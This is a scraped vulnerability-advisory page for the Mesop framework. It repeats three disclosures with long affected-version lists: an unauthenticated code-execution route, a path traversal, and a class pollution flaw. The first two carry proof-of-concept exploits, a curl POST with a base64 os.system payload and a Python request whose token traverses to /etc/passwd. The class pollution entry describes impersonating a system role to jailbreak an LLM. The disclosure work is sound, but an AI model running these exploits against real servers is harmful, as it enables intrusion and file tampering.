            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 09, 2024

0.13.0rc1 pre

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 09, 2024

0.12.10rc1 pre

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 07, 2024

0.12.10b3 pre

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1

